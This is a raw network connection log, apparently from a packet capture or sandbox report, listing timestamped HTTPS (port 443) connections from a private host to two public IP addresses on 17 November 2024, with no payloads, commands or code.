Nov 17, 2024 12:35:45.488450050 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.513335943 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.513351917 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.513366938 CET	49949	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.513372898 CET	443	49949	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.514235020 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.514262915 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.514657021 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.514664888 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.518621922 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.518764973 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.518789053 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.518824100 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.518843889 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.519037008 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.519193888 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.519208908 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.519227028 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.519232988 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.519246101 CET	49951	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.519249916 CET	443	49951	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.521986008 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.522020102 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.522082090 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.522181988 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.522191048 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.644226074 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.644300938 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.644431114 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.644787073 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.644807100 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.644819975 CET	49952	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.644826889 CET	443	49952	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.647608995 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.647653103 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:45.647773027 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.647933006 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:45.647945881 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.101371050 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.145296097 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.195205927 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.249623060 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.256848097 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.291234970 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.291276932 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.291651964 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.291661024 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.291858912 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.291882038 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.292179108 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.292191982 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.293864012 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.293884039 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.294483900 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.294488907 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.294603109 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.294635057 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.295043945 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.295054913 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.384074926 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.405946970 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.405968904 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.407044888 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.407049894 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.416690111 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.416856050 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.417093039 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.417457104 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.417481899 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.417498112 CET	49959	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.417505980 CET	443	49959	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.418354988 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.418427944 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.418497086 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.419059992 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.419090986 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.419131041 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.419195890 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.419672966 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.419681072 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.419692993 CET	49957	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.419698000 CET	443	49957	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.420658112 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.420717001 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.421022892 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.421628952 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.421628952 CET	49956	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.421647072 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.421669006 CET	443	49956	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.427555084 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.427555084 CET	49958	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.427568913 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.427588940 CET	443	49958	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.431890965 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.431900024 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.432004929 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432039976 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.432040930 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432096004 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432354927 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432362080 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.432687998 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432810068 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432816029 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.432898998 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432907104 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.432982922 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432982922 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.432998896 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.433007956 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.433180094 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.433180094 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.433199883 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.534017086 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.534049034 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.534096003 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.534138918 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.534404039 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.534421921 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.534434080 CET	49963	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.534441948 CET	443	49963	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.537480116 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.537497997 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:46.537556887 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.537691116 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:46.537703037 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.165956974 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.166599989 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.166619062 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.167037964 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.167042971 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.171997070 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.172517061 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.172529936 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.172895908 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.172899961 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.181972980 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.182312012 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.182329893 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.182684898 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.182688951 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.290801048 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.291285992 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.291302919 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.291742086 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.291749001 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.294495106 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.294527054 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.294576883 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.294629097 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.294729948 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.294744015 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.294753075 CET	49965	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.294758081 CET	443	49965	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.297677994 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.297708988 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.297774076 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.297933102 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.297951937 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.301711082 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.301856041 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.301928043 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.301949978 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.301959038 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.301971912 CET	49966	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.301975965 CET	443	49966	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.304038048 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.304052114 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.304148912 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.304251909 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.304260015 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.313874960 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.313939095 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.314034939 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.314057112 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.314095020 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.314135075 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.314141989 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.314148903 CET	49967	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.314152956 CET	443	49967	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.316232920 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.316246033 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.316315889 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.316437960 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.316452026 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.421410084 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.421477079 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.421662092 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.421681881 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.421694040 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.421700954 CET	49970	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.421705961 CET	443	49970	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.424763918 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.424803019 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.424866915 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.425030947 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.425048113 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.544661045 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.545104980 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.545120955 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.545550108 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.545553923 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.677103043 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.677175045 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.677440882 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.677788973 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.677798033 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.677807093 CET	49964	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.677812099 CET	443	49964	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.681305885 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.681385040 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.681622982 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.681755066 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:47.681771994 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:47.967731953 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:47.967885971 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:47.968030930 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:48.039056063 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.039601088 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.039622068 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.040028095 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.040033102 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.050755978 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.051127911 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.051146030 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.051493883 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.051497936 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.058592081 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.058855057 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.058866024 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.059150934 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.059156895 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.137523890 CET	49872	443	192.168.2.6	142.250.184.228
Nov 17, 2024 12:35:48.137564898 CET	443	49872	142.250.184.228	192.168.2.6
Nov 17, 2024 12:35:48.174480915 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.174503088 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.174549103 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.174590111 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.174607992 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.174829006 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.174846888 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.174860001 CET	49977	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.174868107 CET	443	49977	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.177810907 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.177877903 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.177954912 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.178183079 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.178214073 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.181555033 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.181952000 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.181976080 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.182343006 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.182347059 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.184531927 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.184552908 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.184608936 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.184609890 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.184657097 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.184773922 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.184786081 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.184793949 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.184798956 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.186806917 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.186830044 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.186917067 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.187347889 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.187372923 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.187606096 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.187633038 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.187673092 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.187697887 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.187719107 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.187844038 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.187863111 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.187875986 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.187880993 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.191226959 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.191255093 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.191329002 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.191451073 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.191462040 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.313380957 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.313458920 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.313540936 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.314265966 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.314284086 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.314316034 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.314322948 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.316844940 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.316898108 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.317018032 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.317146063 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.317166090 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.427021027 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.428781033 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.428802013 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.429171085 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.429176092 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.568219900 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.568296909 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.568341970 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.568366051 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.568403959 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.760869980 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.760869980 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.760945082 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.760977983 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.838581085 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.838609934 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.838663101 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.840799093 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.840812922 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.915484905 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.918863058 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.918903112 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.919331074 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.919342995 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.933341026 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.940588951 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.944591999 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.944621086 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.945116997 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.945123911 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.947598934 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.947618008 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:48.948029041 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:48.948034048 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.044940948 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.045011044 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.045070887 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.045255899 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.045268059 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.045278072 CET	49983	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.045283079 CET	443	49983	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.050265074 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.050291061 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.050360918 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.050698042 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.050709963 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.057521105 CET	443	49986	13.107.246.45	192.168.2.6
